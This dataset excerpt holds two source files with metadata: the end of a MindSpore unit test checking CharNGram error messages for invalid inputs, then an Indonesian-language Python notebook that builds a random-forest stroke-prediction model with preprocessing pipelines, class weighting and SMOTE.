  Feature: CharNGram\r\n    Description: test the validate function with invalid parameters.\r\n    Expectation: Verification of correct error message for invalid input.\r\n    \"\"\"\r\n    def test_invalid_input(test_name, file_path, error, error_msg, max_vectors=None,\r\n                           unk_init=None, lower_case_backup=False, token=\"ok\"):\r\n        log.info(\"Test CharNGram with wrong input: {0}\".format(test_name))\r\n        with pytest.raises(error) as error_info:\r\n            char_n_gram = text.CharNGram.from_file(file_path, max_vectors=max_vectors)\r\n            to_vectors = T.ToVectors(char_n_gram, unk_init=unk_init, lower_case_backup=lower_case_backup)\r\n            to_vectors(token)\r\n        assert error_msg in str(error_info.value)\r\n\r\n    test_invalid_input(\"Not all vectors have the same number of dimensions\",\r\n                       DATASET_ROOT_PATH + \"char_n_gram_20_dim_different.txt\", error=RuntimeError,\r\n                       error_msg=\"all vectors must have the same number of dimensions, \" +\r\n                       \"but got dim 4 while expecting 5\")\r\n    test_invalid_input(\"the file is empty.\", DATASET_ROOT_PATH + \"vectors_empty.txt\",\r\n                       error=RuntimeError, error_msg=\"invalid file, file is empty.\")\r\n    test_invalid_input(\"the count of `unknown_init`'s element is different with word vector.\",\r\n                       DATASET_ROOT_PATH + \"char_n_gram_20.txt\",\r\n                       error=RuntimeError, error_msg=\"unk_init must be the same length as vectors, \" +\r\n                       \"but got unk_init: 6 and vectors: 5\", unk_init=np.ones(6).tolist())\r\n    test_invalid_input(\"The file not exist\", DATASET_ROOT_PATH + \"not_exist.txt\", RuntimeError,\r\n                       error_msg=\"get real path failed\")\r\n    test_invalid_input(\"max_vectors parameter must be greater than 0\",\r\n                       DATASET_ROOT_PATH + \"char_n_gram_20.txt\", error=ValueError,\r\n                       error_msg=\"Input max_vectors is not within the required interval\", max_vectors=-1)\r\n    test_invalid_input(\"invalid max_vectors parameter type as a float\",\r\n                       DATASET_ROOT_PATH + \"char_n_gram_20.txt\", error=TypeError,\r\n                       error_msg=\"Argument max_vectors with value 1.0 is not of type [<class 'int'>],\"\r\n                       \" but got <class 'float'>.\", max_vectors=1.0)\r\n    test_invalid_input(\"invalid max_vectors parameter type as a string\",\r\n                       DATASET_ROOT_PATH + \"char_n_gram_20.txt\", error=TypeError,\r\n                       error_msg=\"Argument max_vectors with value 1 is not of type [<class 'int'>],\"\r\n                       \" but got <class 'str'>.\", max_vectors=\"1\")\r\n    test_invalid_input(\"invalid token parameter type as a float\",\r\n                       DATASET_ROOT_PATH + \"char_n_gram_20.txt\", error=RuntimeError,\r\n                       error_msg=\"input tensor type should be string.\", token=1.0)\r\n    test_invalid_input(\"invalid lower_case_backup parameter type as a string\", DATASET_ROOT_PATH + \"char_n_gram_20.txt\",\r\n                       error=TypeError, error_msg=\"Argument lower_case_backup with \" +\r\n                       \"value True is not of type [<class 'bool'>],\"\r\n                       \" but got <class 'str'>.\", lower_case_backup=\"True\")\r\n    test_invalid_input(\"invalid lower_case_backup parameter type as a string\", DATASET_ROOT_PATH + \"char_n_gram_20.txt\",\r\n                       error=TypeError, error_msg=\"Argument lower_case_backup with \" +\r\n                       \"value True is not of type [<class 'bool'>],\"\r\n                       \" but got <class 'str'>.\", lower_case_backup=\"True\")\r\n\r\n\r\nif __name__ == '__main__':\r\n    test_char_n_gram_all_to_vectors_params_eager()\r\n    test_char_n_gram_build_from_file()\r\n    test_char_n_gram_all_build_from_file_params()\r\n    test_char_n_gram_all_build_from_file_params_eager()\r\n    test_char_n_gram_build_from_file_eager()\r\n    test_char_n_gram_invalid_input()\r\n", "meta": {"hexsha": "96e9b0c804b7f775301ae636d6028e58012ee7b1", "size": 11111, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/ut/python/dataset/test_char_n_gram.py", "max_stars_repo_name": "PowerOlive/mindspore", "max_stars_repo_head_hexsha": "bda20724a94113cedd12c3ed9083141012da1f15", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-05T02:59:21.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-05T02:59:21.000Z", "max_issues_repo_path": "tests/ut/python/dataset/test_char_n_gram.py", "max_issues_repo_name": "zimo-geek/mindspore", "max_issues_repo_head_hexsha": "665ec683d4af85c71b2a1f0d6829356f2bc0e1ff", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/ut/python/dataset/test_char_n_gram.py", "max_forks_repo_name": "zimo-geek/mindspore", "max_forks_repo_head_hexsha": "665ec683d4af85c71b2a1f0d6829356f2bc0e1ff", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 50.9678899083, "max_line_length": 121, "alphanum_fraction": 0.6524165242, "include": true, "reason": "import numpy", "num_tokens": 3121, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.13660839354130014, "lm_q1q2_score": 0.06510478052628214}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Analysis Predictive: Prediction positive or negative stroke\n\n# ### Oleh : [Ahmad Habib Husaini](https://www.linkedin.com/in/ahmad-habib-husaini-1705711b0/)\n# \n# #### Pendahuluan\n# Pada proyek ini, topik yang dibahas adalah mengenai kesehatan yang di buat untuk memprediksi pasien apakah menderita diabeste atau tidak. Proyek ini dibuat untuk proyek Submission 1 - Machine Learning Terapan Dicoding.\n\n# # 1. Import important package\n\n# In[1]:\n\n\nimport pandas as pd \nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport opendatasets\nimport wget\nimport zipfile\nfrom tqdm import tqdm\nimport os\n\n\n# # 2. Data loading\n\n# ### 2.1 Data Acquisition\n\n# In[2]:\n\n\nif os.path.exists('stroke-prediction-dataset/healthcare-dataset-stroke-data.csv'):\n    print(\"file sudah ada\")\nelse:\n    opendatasets.download_kaggle_dataset(dataset_url='https://www.kaggle.com/fedesoriano/stroke-prediction-dataset', data_dir='')\n\n\n# Pada tahapan *data loading* berisikan akuisisi data dengan mengunduh dataset pada [link](https://www.kaggle.com/fedesoriano/stroke-prediction-datase)dengan menggunakan library `opendatasets` dengan sintaks seperti diatas. Ketika merunning code tersebut akan diminta mengisikan username dan key. \n# 1. username silahkan disisi dengan username *account* kaggle\n# 2. key didapatkan dengan :\n#     1. Buka website [kaggle](https://www.kaggle.com/), \n#     2. login dengan akun masing-masing. \n#     3. Pilih your profile pada kanan atas \n#     4. Pilih *account*\n#     5. Scroll sedikit kebawah maka akan ada pilihan `Create new API token`\n#     <img src=\"image/kaggle_1_1.png\" style=\"zoom:10%;\" /> <br>\n#     6. Setelah menekan pilihan tersebut akan terunduh file kaggle.json yang berisikan username dan key\n\n# ### 2.2 Memuat data dalam format Dataframe\n\n# In[3]:\n\n\ndf = pd.read_csv(\"stroke-prediction-dataset/healthcare-dataset-stroke-data.csv\")\ndf.head()\n\n\n# In[4]:\n\n\ndf.stroke.unique()\n\n\n# # 3. Data Understanding\n\n# # informasi data set : \n# Attribute  | Keterangan\n# :------------- | :-------------\n# Sumber  | https://www.kaggle.com/fedesoriano/stroke-prediction-dataset\n# ID | Nomor identitas pasien\n# Gender | Jenis kelamin (male, female, other(**dianggap invalid data**))\n# Hypertension | Nol jika pasien tidak menderita darah tinggi, satu sebaliknya\n# Heart diseease | Nol jika pasien tidak menderita penyakit jantung, satu sebaliknya\n# Ever married | Status pernah menikah (Yes or No)\n# Work type | Jenis pekerjaan terdiri dari anak-anak, Pekerjaan pemerintah, Tidak pernah bekerja, Swasta atau Wiraswasta\n# Residence type | Tipe tempat tinggal Rural (pedasaan) atau Urban (perkotaan)\n# Avg glucose type | rata-rata kadar gula dalam darah\n# BMI | body mass index\n# Smoking status | formerly smoked (Sebelumnya merokok), never smoked (tidak pernah merokok), smokes (merokok) atau \"Unknown\" (dianggap invalid data)\n# Stroke | satu jika pasien positif stroke nol sebaliknya\n\n# ### 3.1 Melihat banyak data\n\n# In[5]:\n\n\nprint(\"Jumlah baris          :\", df.shape[0])\nprint(\"Jumlah kolom          :\", df.shape[1])\nprint(\"Jumlah missing values :\", df.isnull().sum().sum())\n\n\n# `Terdapat 5110 baris, 12 kolom dan 201 missing values.` <br>\n# `Kolom apa saja yang terdapat missing values ?` \n\n# ### 3.2 Cek missing values\n\n# In[6]:\n\n\npd.DataFrame({\n    'missing value':df.isnull().sum()\n})\n\n\n# `kolom tersebut akan diisikan dengan rata-rata, namum prosesnya akan dilakukan belakangan dengan bantuan pipeline sklearn`\n\n# ### 3.3 cek tipe data tiap kolom\n\n# In[7]:\n\n\ndf.info()\n\n\n# `Jika dilihat terdapat 7 kolom numerik dan 5 kolom categorical`,`namun jika diperhatikan kolom hypertension dan heart_disease merupakan target yang merupakan data cagetorical, oleh karenanya kita perlu mengubah tipe data dari kolom tersebut`\n\n# ### 3.4 Mengubah tipe data\n\n# In[8]:\n\n\ndf.hypertension = df.hypertension.astype(object)\ndf.heart_disease = df.hypertension.astype(object)\n\n\n# In[9]:\n\n\ndf.info()\n\n\n# ### 3.5 Summary statistical descriptive\n\n# `Numerical`\n# 1. Count  adalah jumlah sampel pada data.\n# 2. Mean adalah nilai rata-rata.\n# 3. Std adalah standar deviasi.\n# 4. Min yaitu nilai minimum setiap kolom. \n# 5. 25% adalah kuartil pertama. Kuartil adalah nilai yang menandai batas interval dalam empat bagian sebaran yang sama. \n# 6. 50% adalah kuartil kedua, atau biasa juga disebut median (nilai tengah).\n# 7. 75% adalah kuartil ketiga.\n# 8. Max adalah nilai maksimum.\n# \n# `categorical:`\n# 1. unique adalah banyaknya kategori dari setiap kolom categorical\n# 2. top adalah kategori paling banyak dari setiap kolom\n# 3. freq adalah banyaknya frequensi dari top\n\n# In[10]:\n\n\ndf.describe()\n\n\n# `pada kolom age nilai min adalah 0.08, pertanyaanya apa maksud dari 0.08 ? `, `ini menunjukan terdapat indikasi invalid data`\n\n# In[11]:\n\n\ndf.describe(include=object)\n\n\n# `Pada categorical columns tidak terlihat ada yang aneh`\n\n# ### 3.6 Visualisasi data\n\n# ### 3.6.1 Memisahkan fitur kategorik, numerik dan target\n\n# In[12]:\n\n\ntarget = ['stroke']\nnum_feature = ['age', 'avg_glucose_level','bmi']\ncat_feature = [i for i in df.columns if i not in (target + num_feature + ['id'])]\n\n\n# ### 3.6.2 Visualisasi fitur kategorik\n\n# In[13]:\n\n\nfig, ax = plt.subplots(len(cat_feature),1, figsize=(30,100))\nidx=0\nfor ft in cat_feature:\n    sns.countplot(data=df, x=ft, ax=ax[idx])\n    for p in ax[idx].patches:\n        ax[idx].annotate(format(p.get_height(), '.1f'), (p.get_x() + p.get_width() / 2., p.get_height()), ha = 'center', va = 'center', xytext = (0, 10), textcoords = 'offset points')\n    ax[idx].set_xticklabels(ax[idx].get_xticklabels(), fontsize=13)\n    ax[idx].set_title(\"frequency of \"+str(ax[idx].get_xlabel()), fontsize=20)\n    ax[idx].set_xlabel(\"\", fontsize=15)\n    ax[idx].set_yticklabels(ax[idx].get_yticklabels(), fontsize=13)\n    idx+=1\nplt.show()\n\n\n# In[14]:\n\n\nfig, ax = plt.subplots(len(cat_feature),1, figsize=(30,100))\nidx=0\nfor ft in cat_feature:\n    sns.countplot(data=df, x=ft, ax=ax[idx], hue='stroke')\n    for p in ax[idx].patches:\n        ax[idx].annotate(format(p.get_height(), '.1f'), (p.get_x() + p.get_width() / 2., p.get_height()), ha = 'center', va = 'center', xytext = (0, 10), textcoords = 'offset points')\n    ax[idx].set_xticklabels(ax[idx].get_xticklabels(), fontsize=13)\n    ax[idx].set_title(\"frequency of \"+str(ax[idx].get_xlabel()+\" against the target\"), fontsize=20)\n#     ax[idx].set_xlabel(ax[idx].get_xlabel(), fontsize=15)\n    ax[idx].set_xlabel(\"\", fontsize=15)\n    ax[idx].set_yticklabels(ax[idx].get_yticklabels(), fontsize=13)\n    idx+=1\nplt.show()\n\n\n# ### 3.6.3 Visualisasi fitur numerik\n\n# In[15]:\n\n\nfig, ax = plt.subplots(len(num_feature),1, figsize=(25,30))\nidx = 0\nfor feature in num_feature:\n    sns.boxplot(data=df, y=feature, ax=ax[idx])\n    ax[idx].set_title(\"boxplot of \"+str(feature), fontsize=20)\n    idx+=1\n\n\n# In[16]:\n\n\nfig, ax = plt.subplots(len(num_feature),1, figsize=(25,40))\nidx=0\nfor ft in num_feature:\n    sns.distplot(df[ft], bins=10, ax=ax[idx])\n    ax[idx].set_xticklabels(ax[idx].get_xticks(), fontsize=15)\n    ax[idx].set_title(\"Distibution of \"+str(ax[idx].get_xlabel()), fontsize=20)\n    ax[idx].set_xlabel(\"\", fontsize=15)\n    idx+=1\nplt.show()\n\n\n# ### 3.6.4 Visualisasi Variabel target\n\n# In[17]:\n\n\nplt.figure(figsize=(15,7))\nax = sns.countplot(data=df, x='stroke')\nfor p in ax.patches:\n        ax.annotate(format(p.get_height(), '.1f'), (p.get_x() + p.get_width() / 2., p.get_height()), ha = 'center', va = 'center', xytext = (0, 10), textcoords = 'offset points')\nax.set_xlabel(\"\", fontsize=15)\nax.set_title(\"frequent of target\")\nplt.show()\n\n\n# ### 3.6.5 visualisasi missing value\n\n# In[18]:\n\n\ndf_pos_null = df[df['stroke']==1].isnull().sum()[:-1].reset_index()\ndf_pos_null.columns = [\"kolom\",\"missing_value\"]\ndf_pos_null\n\n\n# In[19]:\n\n\nplt.figure(figsize=(20,5))\nsns.barplot(data=df_pos_null, x='kolom', y='missing_value')\nplt.title(\"Missing values in positive stroke\")\nplt.show()\n\n\n# In[20]:\n\n\ndf_neg_null = df[df['stroke']==0].isnull().sum()[:-1].reset_index()\ndf_neg_null.columns = [\"kolom\",\"missing_value\"]\ndf_neg_null\n\n\n# In[21]:\n\n\nplt.figure(figsize=(20,5))\nsns.barplot(data=df_neg_null, x='kolom', y='missing_value')\nplt.title(\"Missing values in negative stroke\")\nplt.show()\n\n\n# `Kesimpulan yang dapat diambil :`\n# 1. Data target tidak seimbang antara pasien positif dan negatif\n# 2. Data dengan value gender other dianggap **invalid data** \n# 3. Data dengan value smoking_status unknown akan dihapus\n# 4. Pada kolom numerik terdapat cukup banyak outlier\n# 5. Kolom numerik masih condong atau skew\n\n# # 4. Data Preparation\n\n# ### 4.1  Handling invalid data\n\n# `Kolom ID hanyalah nomer unik dari masing-masing pasien`,`kolo tersebut sangat kecil bahkan tidak berpengaruh sama sekali pada target`\n\n# `Pada kolom gender dan smoking status terdapat data invalid`\n\n# In[22]:\n\n\ndf_backup = df.copy(deep=True)\n\n\n# In[23]:\n\n\ndf[(df.gender == 'Other')]\n\n\n# In[24]:\n\n\ndf.groupby(by=[cat_feature[0],'stroke'])['id'].count().to_frame()\n\n\n# In[25]:\n\n\ndf = df_backup.copy(deep=True)\n\n\n# In[26]:\n\n\ndf = df[(df.gender != 'Other')]\ndf.shape\n\n\n# In[27]:\n\n\ndf.groupby(by=[cat_feature[0],'stroke'])['id'].count().to_frame()\n\n\n# In[28]:\n\n\ndf.groupby(by=[cat_feature[6],'stroke'])['id'].count().to_frame()\n\n\n# `Jika diihat ternyata pada kolom smoking status = unknown value stroke = 1 ada 47, jika kita hapus tidak terlalu banyak sample stroke = 1 yang hilang`\n\n# In[29]:\n\n\ndf = df[(df.smoking_status !='Unknown')]\ndf.shape\n\n\n# In[30]:\n\n\ndf.groupby(by=[cat_feature[6],'stroke'])['id'].count().to_frame()\n\n\n# ### 4.2 Handling Outlier\n\n# In[31]:\n\n\nfig, ax = plt.subplots(len(num_feature),1, figsize=(25,30))\nidx = 0\nfor feature in num_feature:\n    sns.boxplot(data=df, y=feature, ax=ax[idx])\n    ax[idx].set_title(feature)\n    idx+=1\n\n\n# `Jika dilihat dari kolom numeric diatas terdapat cukup banyak outlier`<br>\n# `Hal pertama yang perlu dilakukan adalah membuat batas bawah dan batas atas.`<br>\n# `Untuk membuat batas bawah, kurangi Q1 dengan 1,5 * IQR.` <br>\n# `Kemudian, untuk membuat batas atas, tambahkan 1.5 * IQR dengan Q3.`\n\n# In[32]:\n\n\nQ1 = df[num_feature].quantile(0.25)\nQ3 = df[num_feature].quantile(0.75)\nIQR = Q3 - Q1\nIQR.to_frame()\n\n\n# `Syarat bukan outlier, (data < (Q1-1.5*IQR)) atau (data > (Q3+1.5*IQR))`\n\n# In[33]:\n\n\nbatas_bawah = Q1 - 1.5*IQR\nbatas_atas = Q3 + 1.5*IQR\n\n\n# In[34]:\n\n\ndf = df[~((df < batas_bawah) | (df > batas_atas)).any(axis=1)]\ndf.shape\n\n\n# In[35]:\n\n\nfig, ax = plt.subplots(len(num_feature),1, figsize=(25,30))\nidx = 0\nfor feature in num_feature:\n    sns.boxplot(data=df, y=feature, ax=ax[idx])\n    ax[idx].set_title(feature)\n    idx+=1\n\n\n# In[36]:\n\n\ndf.stroke.unique()\n\n\n# In[37]:\n\n\nfig, ax = plt.subplots(len(num_feature),1, figsize=(25,40))\nidx=0\nfor ft in num_feature:\n    sns.distplot(df[ft], bins=10, ax=ax[idx])\n    ax[idx].set_xticklabels(ax[idx].get_xticks(), fontsize=15)\n    ax[idx].set_title(\"distibution of \"+str(ax[idx].get_xlabel()), fontsize=20)\n    ax[idx].set_xlabel(\"\", fontsize=15)\n    idx+=1\nplt.show()\n\n\n# `Jika dilihat dari distribusi, kolom sudah hampir bersidtribusi normal dan tidak terlalu condong atau skew`,`Tetapi dalam pipeline nanti tetap akan di transform dengan yeo-johnson`\n\n# ### 4.3 Split Data\n\n# In[38]:\n\n\nfrom sklearn.model_selection import train_test_split\n\n\n# In[39]:\n\n\ndf[cat_feature] = df[cat_feature].astype(object)\n\n\n# In[40]:\n\n\nX = df.drop(columns=\"stroke\")\ny = df.stroke\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, stratify=y, random_state=42)\nX_train.shape, X_test.shape, y_train.shape, y_test.shape\n\n\n# ### 4.4 Build Pipeline\n\n# In[41]:\n\n\nimport sklearn\nfrom sklearn.preprocessing import OneHotEncoder,OrdinalEncoder ,MinMaxScaler, StandardScaler, RobustScaler, PowerTransformer\nfrom sklearn.impute import SimpleImputer\n# from sklearn.pipeline import Pipeline\nfrom imblearn.pipeline import Pipeline\nfrom sklearn.compose import ColumnTransformer\n\n\n# ### 4.4.1 Numerical Pipeline\n\n# In[42]:\n\n\nsklearn.set_config(display='diagram')\nnum_pipline = Pipeline([\n    ('inputer', SimpleImputer(strategy='median')), # Handling missing values\n    ('transformer', PowerTransformer('yeo-johnson')), # Tranformasi agar berdistribusi normal\n    ('scaling', RobustScaler()) # Penyekalaan data\n])\n\n\n# ### 4.4.2 Categorical Pipeline\n\n# In[43]:\n\n\ncat_pipeline = Pipeline([\n    ('encoding', OrdinalEncoder())\n])\n\n\n# ### 4.4.3 Create Preprocessor\n\n# In[44]:\n\n\npreprocessor = ColumnTransformer([\n    ('numeric', num_pipline, num_feature), \n    ('categorical', cat_pipeline, cat_feature)\n])\n\n\n# In[45]:\n\n\npreprocessor\n\n\n# `Tahapan diatas untuk menentukan kolom mana yang akan diterapkan numerical pipeline atau categorical pipeline`\n\n# In[47]:\n\n\nfrom jcopml.tuning.space import Real, Integer # Library buatan mas WiraDKP https://www.linkedin.com/in/wiradkputra/\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import RandomizedSearchCV\n\n\n# # 5. Modeling\n\n# ### 5.1 Model without resampling\n\n# ### 5.1.1 Final pipeline\n\n# In[48]:\n\n\npipeline = Pipeline([\n    ('prep', preprocessor),\n    ('algo', RandomForestClassifier(n_jobs=-1, random_state=42))\n])\n\n\n# In[49]:\n\n\npipeline\n\n\n# In[50]:\n\n\nparams_rf = {\n    'algo__n_estimators': Integer(low=100, high=200),\n    'algo__max_depth':Integer(low=20, high=80),\n    'algo__max_features': Real(low=0.1, high=1, prior='uniform'),\n    'algo__min_samples_leaf':Integer(low=1, high=20)\n}\n\n\n# In[51]:\n\n\nmodel_rf = RandomizedSearchCV(pipeline, params_rf, cv=3, n_iter=50,scoring='f1', n_jobs=-1, verbose=1, random_state=42)\nmodel_rf.fit(X_train, y_train)\n\nprint(model_rf.best_params_)\nprint(model_rf.score(X_train, y_train), model_rf.best_score_, model_rf.score(X_test, y_test))\n\n\n# ### 5.1.2 Cek confusion matrix model\n\n# In[52]:\n\n\nfrom sklearn.metrics import classification_report, confusion_matrix\n\n\n# In[53]:\n\n\ncf_matrix = confusion_matrix(y_test, model_rf.predict(X_test))\ncf_matrix\n\n\n# In[54]:\n\n\nimport seaborn as sns\nax = sns.heatmap(cf_matrix, annot=True,cmap='Blues', fmt='g')\nax.set_xticklabels([\"Negatif\", \"Positif\"])\nax.set_yticklabels([\"Negatif\", \"Positif\"])\nplt.show()\n\n\n# In[55]:\n\n\nprint(classification_report(y_test, model_rf.predict(X_test)))\n\n\n# In[56]:\n\n\ny_test.value_counts()\n\n\n# `Jika hanya berpacu pada accuracy model memiliki accuracy yang sangat baik, tetapi jika dilihat ternyata model salah semua dalam memprediksi pasien positif`,`oleh karenanya coba lakukan pembobotan dan gunakan scoring f1-score`\n\n# ### 5.2 Model dengan pembobotan\n\n# In[57]:\n\n\n[{0: x, 1: 1-x} for x in [0.05, 0.1, 0.25]]\n\n\n# In[58]:\n\n\nparams_rf = {\n    'algo__n_estimators': Integer(low=100, high=200),\n    'algo__max_depth':Integer(low=20, high=80),\n    'algo__max_features': Real(low=0.1, high=1, prior='uniform'),\n    'algo__min_samples_leaf':Integer(low=1, high=20),\n    'algo__class_weight':[{0: x, 1: 1-x} for x in [0.05, 0.1, 0.25]]\n}\n\n\n# In[59]:\n\n\npipeline = Pipeline([\n    ('prep', preprocessor),\n    ('algo', RandomForestClassifier(n_jobs=-1, random_state=42))\n])\npipeline\n\n\n# In[60]:\n\n\nmodel_rf_2 = RandomizedSearchCV(pipeline, params_rf, cv=3, n_iter=50, scoring='f1', n_jobs=-1, verbose=1, random_state=42)\nmodel_rf_2.fit(X_train, y_train)\n\nprint(model_rf_2.best_params_)\nprint(model_rf_2.score(X_train, y_train), model_rf_2.best_score_, model_rf_2.score(X_test, y_test))\n\n\n# In[61]:\n\n\ncf_matrix = confusion_matrix(y_test, model_rf_2.predict(X_test))\ncf_matrix\n\n\n# In[62]:\n\n\nax = sns.heatmap(cf_matrix, annot=True,cmap='Blues', fmt='g')\nax.set_xticklabels([\"Negatif\", \"Positif\"])\nax.set_yticklabels([\"Negatif\", \"Positif\"])\nplt.show()\n\n\n# In[63]:\n\n\nprint(classification_report(y_test, model_rf_2.predict(X_test)))\n\n\n# `Dengan melakukan pembobotan prediksi pada data text menjadi lebih baik walau masih banyak salah prediksi`\n\n# ### 5.3 Resampling data dengan SMOTE\n\n# `Teknik resampling merupakan pembuatan data dummy dengan algoritma tertentu, pada proyek kali ini akan digunakan algoritma SMOTE yang berdasarkan pada algoritma KNN`\n\n# In[64]:\n\n\nimport imblearn, sklearn\nfrom imblearn.over_sampling import SMOTE\nprint(imblearn.__version__, sklearn.__version__)\n\n\n# `Resampling dilakukan data train saja, mengapa ? jika data test ikut diresampling dan misalkan accuracy model bagus apa maknanya ? bisa saja data test yang benar diprediksi adalah data buatan hasil resampling, oleh karenanya untuk menilai model baik atau tidak uji dengan data yang asli`\n\n# ### 5.3.1 New Pipeline \n\n# In[65]:\n\n\nres_pipeline = Pipeline([\n    ('prep', preprocessor),\n    ('smote', SMOTE(random_state=42, sampling_strategy='minority')),\n    ('algo', RandomForestClassifier(n_jobs=-1, random_state=42))\n])\nres_pipeline\n\n\n# ### 5.3.2 Model tanpa tunning parameter Smote\n\n# In[66]:\n\n\nmodel_rf_3_1 = RandomizedSearchCV(res_pipeline, params_rf, cv=3, n_iter=50, scoring='f1', n_jobs=-1, verbose=1, random_state=42)\nmodel_rf_3_1.fit(X_train, y_train)\n\nprint(model_rf_3_1.best_params_)\nprint(model_rf_3_1.score(X_train, y_train), model_rf_3_1.best_score_, model_rf_3_1.score(X_test, y_test))\n\n\n# In[67]:\n\n\ncf_matrix = confusion_matrix(y_test, model_rf_3_1.predict(X_test))\ncf_matrix\n\n\n# In[68]:\n\n\nax = sns.heatmap(cf_matrix, annot=True,cmap='Blues', fmt='g')\nax.set_xticklabels([\"Negatif\", \"Positif\"])\nax.set_yticklabels([\"Negatif\", \"Positif\"])\nplt.show()\n\n\n# In[69]:\n\n\nprint(classification_report(y_test, model_rf_3_1.predict(X_test)))\n\n\n# `Walaupun accuracy berkurang, tetapi model dapat memprediksi pasien positif lebih baik dari sebelumnya`\n\n# ### 5.3.3 Model dengan melakukan tunning parameter smote\n\n# In[70]:\n\n\nparams_rf = {\n    'smote__k_neighbors': Integer(low=1, high=50),\n    'algo__n_estimators': Integer(low=100, high=200),\n    'algo__max_depth':Integer(low=20, high=80),\n    'algo__max_features': Real(low=0.1, high=1, prior='uniform'),\n    'algo__min_samples_leaf':Integer(low=1, high=20),\n    'algo__class_weight':[{0: x, 1: 1-x} for x in [0.05, 0.1, 0.25]]\n}\n\n\n# In[71]:\n\n\nmodel_rf_3_2 = RandomizedSearchCV(res_pipeline, params_rf, cv=5, n_iter=50, scoring='f1', n_jobs=-1, verbose=1, random_state=42)\nmodel_rf_3_2.fit(X_train, y_train)\n\nprint(model_rf_3_2.best_params_)\nprint(model_rf_3_2.score(X_train, y_train), model_rf_3_2.best_score_, model_rf_3_2.score(X_test, y_test))\n\n\n# In[72]:\n\n\ncf_matrix = confusion_matrix(y_test, model_rf_3_2.predict(X_test))\ncf_matrix\n\n\n# In[73]:\n\n\nax = sns.heatmap(cf_matrix, annot=True,cmap='Blues', fmt='g')\nax.set_xticklabels([\"Negatif\", \"Positif\"])\nax.set_yticklabels([\"Negatif\", \"Positif\"])\nplt.show()\n\n\n# In[74]:\n\n\nprint(classification_report(y_test, model_rf_3_2.predict(X_test)))\n\n\n# `Jika diperhatikan dari rumus dibawah ini :`<br> <br>\n# $$ Accuracy = \\frac{TP+TN}{TP+TN+FP+FN}$$ <br>\n# $$ Precision = \\frac{TP}{TP+FP} $$<br>\n# $$ Recall = \\frac{TP}{TP+FN}$$ <br>\n# $$ F1 = \\frac{2*Precision*Recall}{Precision+Recall} = \\frac{2*TP}{2*TP+FP+FN} $$ <br> <br>\n# `Untuk mengecilkan false negatif (salah dalam memprediksi pasien positif, metrics yang cocok adalah recall`\n\n# In[75]:\n\n\nmodel_rf_4 = RandomizedSearchCV(res_pipeline, params_rf, cv=5, n_iter=50, scoring='recall', n_jobs=-1, verbose=1, random_state=42)\nmodel_rf_4.fit(X_train, y_train)\n\nprint(model_rf_4.best_params_)\nprint(model_rf_4.score(X_train, y_train), model_rf_4.best_score_, model_rf_4.score(X_test, y_test))\n\n\n# In[76]:\n\n\ncf_matrix = confusion_matrix(y_test, model_rf_4.predict(X_test))\ncf_matrix\n\n\n# In[77]:\n\n\nax = sns.heatmap(cf_matrix, annot=True,cmap='Blues', fmt='g')\nax.set_xticklabels([\"Negatif\", \"Positif\"])\nax.set_yticklabels([\"Negatif\", \"Positif\"])\nplt.show()\n\n\n# In[78]:\n\n\nfrom sklearn.metrics import f1_score, recall_score\n\n\n# # Evaluasi\n\n# In[79]:\n\n\ndf_model = pd.DataFrame(columns=['model_1', 'model_2', 'model_3_1', 'model_3_2', 'model_4'], index=['f1_score','recall'])\ndf_model\n\n\n# In[80]:\n\n\nf1_score(y_test, model_rf.predict(X_test))\n\n\n# In[81]:\n\n\nmodels = {\n    'model_1':model_rf,\n    'model_2':model_rf_2,\n    'model_3_1':model_rf_3_1,\n    'model_3_2':model_rf_3_2,\n    'model_4':model_rf_4\n}\nmetrics = {\n    'f1_score':f1_score,\n    'recall':recall_score\n}\nfor metric in metrics.keys():\n    for model in models.keys():\n        df_model.loc[metric, model] = metrics[metric](y_test, models[model].predict(X_test))\n\n\n# In[82]:\n\n\ndf_model\n\n\n# `Tetapi hal tersebut menyebabkan banyak prediksi yang salah dari kelas negatif.` `Jika model salah dalam memprediksi pasien negatif (aslinya negatif diprediksi positif) tentu jauh lebih baik ketimbang aslinya positif tetapi diprediksi negatif. Namun kembali lagi pada keputusan klien atau pihak berkepentingan`\n\n# `Dan jika ingin memprebaiki kualitas model maka perbanyak sample dan `**`jangan imbalance`**\n", "meta": {"hexsha": "c86fd99fea85998f71115adde67fcf85035f8e8a", "size": 20553, "ext": "py", "lang": "Python", "max_stars_repo_path": "Stroke Prediction/Fix.py", "max_stars_repo_name": "ahmadhabib5/Applied_Machine_Learning", "max_stars_repo_head_hexsha": "cb3e63bd90d6657e1a0664fa811eb4ecc9197117", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-11-14T11:39:13.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-14T11:39:18.000Z", "max_issues_repo_path": "Stroke Prediction/Fix.py", "max_issues_repo_name": "KiryuHabib5/Applied_Machine_Learning", "max_issues_repo_head_hexsha": "cb3e63bd90d6657e1a0664fa811eb4ecc9197117", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Stroke Prediction/Fix.py", "max_forks_repo_name": "KiryuHabib5/Applied_Machine_Learning", "max_forks_repo_head_hexsha": "cb3e63bd90d6657e1a0664fa811eb4ecc9197117", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-11-25T01:41:48.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-25T01:41:48.000Z", "avg_line_length": 23.733256351, "max_line_length": 312, "alphanum_fraction": 